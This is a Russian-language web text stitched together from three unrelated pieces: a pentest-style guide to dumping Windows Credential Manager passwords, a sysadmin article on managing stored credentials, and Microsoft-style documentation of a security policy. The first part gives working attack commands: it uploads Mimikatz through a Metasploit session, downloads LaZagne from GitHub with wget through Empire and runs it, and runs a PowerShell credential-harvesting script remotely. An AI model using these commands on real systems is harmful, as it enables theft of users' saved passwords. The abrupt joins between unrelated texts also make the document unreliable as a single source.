Как извлечь данные из диспетчера учетных данных Windows
Диспетчер учетных данных Windows (Credential Manager), — это механизм, который позволяет управлять регистрационными данными пользователей (логин и пароль) для доступа к сетевым ресурсам, а также сертификатами и учетными данными для различных приложений (электронной почты, веб-сервисов и прочих).
В этой статье я покажу, как вытащить информацию из диспетчера учетных данных Windows.
Как извлечь данные из диспетчера учетных данных Windows
Рассмотрим работу с диспетчером учетных данных на примере RDP.

Найти те же данные с помощью командной строки можно следующим образом (для английской локалки следует использовать строку /listcreds:»Windows Credentials».):
Получение учетных данных: Windows Credential Manager

Credential Manager (диспетчер учетных данных) был представлен впервые на Windows 7. Он похож на цифровое хранилище для хранения всех учетных данных пользователя в безопасности. Они расположены в папке учетных данных, которую можно найти здесь – %Systemdrive%\Users\\AppData\Local\Microsoft\Credentials, и именно к этой папке обращается Credential Manager. Он также позволяет добавлять, редактировать, удалять, создавать резервные копии и даже восстанавливать пароли.
Учетные данные, сохраненные в Credential Manager, бывают двух типов:
- Веб-учетные данные: поскольку Edge и Windows являются продуктами одной и той же компании, Credential Manager также имеет доступ к хранящейся информации в браузере, чтобы повысить сохранность учетных данных. Он хранит пароли приложений, предоставленных Microsoft, например, Skype, Microsoft Office и т.д.
- Учетные данные Windows: здесь можно найти все учетные данные для входа в систему Windows. Это касается любой системы, которая подключена к сети.
Приложения, запущенные Windows и хранящие учетные данные пользователя, будут автоматически отображены в Credential Manager. Даже когда пользователь обновляет их, изменения моментально вносятся в диспетчер учетных данных.
Получение доступа к Credential Manager
Для получения доступа к диспетчеру учетных данных, пользователь может просто найти его в меню Пуск или открыть программу с помощью следующих двух методов:
- Панель управления > Учетные записи пользователей > Диспетчер учетных данных
- С помощью командной строки: ввести команду vaultcmd и воспользоваться ее возможностями
При имеющемся подключении к другой системе в сети можно использовать любой из способов, приведенных ниже.

При подключении, когда пользователь вводит пароль и сохраняет его для последующего использования, его учетные данные сохраняются в диспетчере учетных данных.

Независимо от веб-сайта и его политик безопасности, когда человек сохраняет пароль в Edge или любом другом приложении, таком как Skype или Outlook, эти данные также заносятся и в Credential Manager. Например, пользователь сохранил пароль от Gmail, как показано на рисунке ниже:

Теперь пользователь может убедиться в том, что пароль был действительно сохранен.

Пользователь получает доступ к Credential Manager, используя любой уже упомянутый метод. Он обнаруживает, что на вкладке учетные данные Windows хранятся все системные и сетевые пароли.

А на вкладке веб-учетные данные будут показаны пароли приложений и сохраненные в Еdge.

Metasploit
Все эти учетные данные могут быть получены с помощью простых методов. Как только был установлен сеанс Metasploit, все, что нужно сделать, это загрузить Mimikatz и запустить его. Mimikatz – это удивительный инструмент для получения учетных данных.
Чтобы запустить его удаленно с помощью сеанса Metasploit, следует использовать следующую команду:
upload /root/Desktop/mmikatz.exe shell cd mimikatz.exe

Как только Mimikatz выполнит свою работу, пользователь получит учетные данные, сохраненные в Credential Manager, как показано на рисунке выше.
Empire
Аналогичным образом, с помощью Empire, пользователь может получить учетные данные путем загрузки Lazagne.exe непосредственно в целевую систему, а затем нужно манипулировать этой утилитой. LaZange – это один из самых популярных инструментов для получения учетных данных.
Нужно использовать следующие команды для сброса учетных данных с помощью этого метода:
shell wget https://github.com/AlessandrZ/LaZagne/releases/download2.4.3/lazagne.exe -outfile lazagne.exe shell wget shell dir shell ./lazagne.exe all

После выполнения команд пользователь может увидеть, что пароли были получены, как показано на рисунке ниже:

CredentialsFileView
Следующий метод заключается в использовании стороннего инструмента – CredentialsFileView. Эта утилита очень эффективна, когда речь заходит о пентестинге. Чтобы использовать данный инструмент, следует просто скачать и запустить его. После запуска он запросит у пользователя пароль Windows.

Как только человек введет пароль, инструмент предоставит ему все необходимые учетные данные, как показано на рисунке ниже:

Windows PowerShell
Этот метод получения паролей может оказаться полезным как во внутреннем, так и во внешнем пентестинге. Во время него пользователь запускает скрипт в Windows PowerShell, его можно найти, перейдя по ссылке. Как только человек откроет скрипт, он получит все веб-учетные данные, как показано на картинке ниже:

Пользователь может применить PowerShell удаленно для получения учетных данных с помощью Metasploit. Это очень просто, так как всего лишь необходимо выполнить комбинацию следующих команд после завершения сеанса:
load powershell powershell_import /root/Get-WebCredentials.ps1 powershell_execute Get-WebCredentials

И с помощью команд PowerShell пользователь и получит нужные ему учетные данные.
Митигирование
Ниже приведены меры, которые могут быть использованы для обеспечения безопасности паролей пользователя:
- Не стоит хранить пароли в системе, браузере или любом другом приложении
- Следует использовать разные пароли для каждой учетной записи
- Если у пользователя возникли проблемы с запоминанием паролей, то вместо того, чтобы хранить их в виде открытого текста в системе, нужно использовать онлайн-менеджер паролей
- Надо загрузить последнюю версию операционной системы и приложений
- Вручную переходить на страницу входа в систему, а не по какой-то ссылке
- Постоянно пользоваться защитой межсетевого экрана
- Держать своих сотрудников или работодателей в курсе всех происходящих событий
Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.
Управление сохраненными паролями с помощью Windows Credential Manager

09.08.2021

itpro

PowerShell, Windows 10, Windows Server 2019

комментариев 7
Windows Credential Manager (диспетчер учетных данных) позволяет сохранять учетные записи и пароли для доступа к сетевым ресурсам, сайтам и приложениям. Благодаря диспетчеру учётных записей Windows вы можете подключаться к удаленным ресурсам автоматически, без ввода пароля. Приложения могут самостоятельно обращаться в Credential Manager и использовать сохраненный пароль.
Используем диспетчер учетных данных Windows для хранения паролей
Впервые Credential Manager появился в Windows 7 и позиционируется как достаточное безопасное место для хранения ваших паролей.
В диспетчере учетных данных могут хранится следующие типы аккаунтов:
-
Учетные данные Windows (Windows Credentials)– данные для входа в Windows, для доступа на удаленные компьютеры, сохраненные пароли для RDP подключений, пароли к сайтам, поддерживающих встроенную аутентификацию Windows и т.д;
В Windows Credential не хранятся данные для автоматического входа в Windows или доменные Cached Credentials.
Например, если при доступе к сетевой папке вы включите опцию “Сохранить пароль”, то введенный вами пароли будет сохранен в Credential Manager.

Аналогично пароль для подключения к удаленному RDP/RDS серверу сохраняется в клиенте Remote Desktop Connection (mstsc.exe).

Также в менеджере паролей сохраняются пароли пользователей при их сохранении командой runas /savecred.
Вы можете получить доступ к диспетчеру учетных данных в Windows 10 из классической панели управления (Control Panel\User Accounts\Credential Manager, Панель управления -> Учетные записи пользователей -> Диспетчер учетных данных).
Как вы видите, в Credential Manager теперь хранятся два пароля, которые мы сохранили ранее.

Сохраненный пароль для RDP подключения сохраняется в формате TERMSRV\hostname .
Здесь вы можете добавить сохранённый пароль, отредактировать (просмотреть сохраненный пароль из графического интерфейса нельзя) или удалить любую из записей.
Также для работы с сохраненными паролями можно использовать классический диалоговый интерфейс Windows – Stored User Names and Password. Для его вызова, выполните:

Здесь вы также можете управлять сохраненными учетными данными, а также есть функции резервного копирования и восстановления данных в Credential Manager (можно использовать для переноса базы Credential Manager на другой компьютер).
Для управления Credential Manager из командной строки используется утилита vaultcmd . Например, чтобы вывести список сохраненных учетных данных типа Windows Credentials выполните команду:
vaultcmd /listcreds:»Windows Credentials»

Credential schema: Windows Domain Password Credential Resource: Domain:target=msk-dc00 Identity: RESOURCE\anovak Hidden: No Roaming: No Property (schema element id,value): (100,3) Property (schema element id,value): (101,SspiPfc)
Следующая команда удалит из Credential Manager все сохраненные пароли для RDP доступа:
For /F «tokens=1,2 delims= » %G in (‘cmdkey /list ^| findstr «target=TERMSRV»‘) do cmdkey /delete %H
Все сохраненные пароли хранятся в хранилище Windows Vault. Windows Vault это защищенное хранилище секретов, паролей и другой информации пользователя. Данные в Windows Vault структурированы и представляют собой набор записей, принадлежащих определенной схеме Vault. Набор ключей шифрования для записей Windows Vault хранится в файле Policy.vpol.
Для доменных он хранится в каталоге %userprofile%\AppData\Roaming\Microsoft\Vault . Для локальных пользователей в %userprofile%\AppData\Local\Microsoft\Vault .

Для работы Credential Manager должна быть запущена служба VaultSvc:
Если служба отключена, при попытке получить доступ к Credential Manager появится ошибка
Credential Manager Error The Credential Manager Service is not running. You can start the service manually using the Services snap-in or restart your computer to start the service. Error code: 0x800706B5 Error Message: The interface is unknown.
Если вы хотите заблокировать пользователям возможность сохранения сетевых паролей в Credential Manager, нужно включить политику Network access: Do not allow storage of passwords and credentials for network authentication в разделе GPO Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options.

Теперь, если пользователь попытается сохранить пароль в хранилище, появится ошибка:
Credential Manager Error Unable to save credentials. To save credentials in this vault, check your computer configuration. Error code: 0x80070520 Error Message: A specified logon session does not exist. It may already have been terminated.
Доступ к менеджеру учетных данных Windows из PowerShell
В Windows нет встроенных командлетов для обращения к хранилищу PasswordVault из PowerShell. Но вы можете использовать модуль CredentialManager из галереи PowerShell.
Список командлетов в модуле можно вывести так:
get-command -module CredentialManager

В модуле всего 4 командлета:
- Get-StoredCredential – получить учетные данные из хранилища Windows Vault;
- Get-StrongPassword – сгенерировать случайный пароль;
- New-StoredCredential – добавить ученые записи;
- Remove-StoredCredential – удалить учетные записи.
Чтобы добавить новые данные в хранилище CredentialManager, выполните команду:
New-StoredCredential -Target ‘contoso’ -Type Generic -UserName ‘[email protected]’ -Password ‘123qwe’ -Persist ‘LocalMachine’

Проверить, есть в хранилище сохраненные данные для пользователя:
Get-StoredCredential -Target contoso
Сохраненные пароли из Credential Manager можно использовать в ваших скриптах PowerShell. Например, в следующем примере я получаю сохраненные имя и пароль в виде объекта PSCredential и подключаюсь с ними к Exchange Online из PowerShell:
$psCred = Get-StoredCredential -Target «Contoso»
Connect-MSolService -Credential $psCred
Также обратите внимание на новый модуль, PowerShell Secret Management, который можно использовать для безопасного хранения паролей в Windows (поддерживает различные хранилища паролей: KeePass, LastPass, HashiCorp Vault, Azure Key Vault, Bitwarden.
Чтобы удалить определенную учетные данные из Windows Vault, выполните:
Remove-StoredCredential -Target Contoso
Отобразить пароли в открытом виде с помощью встроенных средств нельзя. Но вы можете использовать утилиты типа Mimikatz для получения сохраненных паролей из credman в открытом виде (смотри пример).
Предыдущая статья Следующая статья
Доступ к диспетчеру учетных данных от имени доверенного вызывающего
В этой статье описываются рекомендуемые методики, расположение, значения, управление политиками и рекомендации по безопасности для диспетчера учетных данных для доступа в качестве параметра политики безопасности доверенного вызывающего абонента .
Справочные материалы
Параметр политики Access Credential Manager в качестве доверенного вызывающего абонента используется диспетчером учетных данных во время резервного копирования и восстановления. Ни у каких учетных записей не должно быть этих привилегий, так как они назначены только службе Winlogon. Сохраненные учетные данные пользователей могут быть скомпрометированы, если эти привилегии предоставлены другим сущностям.
Возможные значения
- Определяемый пользователей список учетных записей
- Не определено
Рекомендации
- Не изменяйте этот параметр политики по умолчанию.
Расположение
Computer Configuration\Windows Settings\Security Settings\Local Policies\User Rights Assignment
Значения по умолчанию
В следующей таблице показано значение по умолчанию для типа сервера или групповая политика Object (GPO).
| Тип сервера или объект групповой политики | Значение по умолчанию |
|---|---|
| Политика домена по умолчанию | Не определено |
| Политика контроллера домена по умолчанию | Не определено |
| Параметры по умолчанию для автономного сервера | Не определено |
| Действующие параметры по умолчанию для контроллера домена | Не определено |
| Действующие параметры по умолчанию для рядового сервера | Не определено |
| Действующие параметры клиентского компьютера по умолчанию | Не определено |
Управление политикой
В этом разделе описаны компоненты, средства и рекомендации, которые помогут в управлении этой политикой.
Для активации этого параметра политики не требуется перезагрузка компьютера.
Изменения прав пользователя вступают в силу при его следующем входе в учетную запись.
Групповая политика
Параметры применяются в следующем порядке через объект групповая политика , который перезаписывает параметры на локальном компьютере при следующем обновлении групповая политика:
- Параметры локальной политики
- Параметры политики сайта
- Параметры политики домена
- Параметры политики подразделения
Если локальный параметр выделен серым цветом, он указывает, что объект групповой политики в настоящее время управляет этим параметром.
Вопросы безопасности
В этом разделе описывается, каким образом злоумышленник может использовать компонент или его конфигурацию, как реализовать меры противодействия, а также рассматриваются возможные отрицательные последствия их реализации.
Уязвимость
Если учетной записи предоставлено это право, пользователь учетной записи может создать приложение, которое вызывает диспетчер учетных данных и возвращает учетные данные для другого пользователя.
Противодействие
Не определяйте диспетчер учетных данных доступа как параметр политики доверенного вызывающего абонента для любых учетных записей, кроме диспетчера учетных данных.
Возможное влияние
Нет. Не определена конфигурация по умолчанию.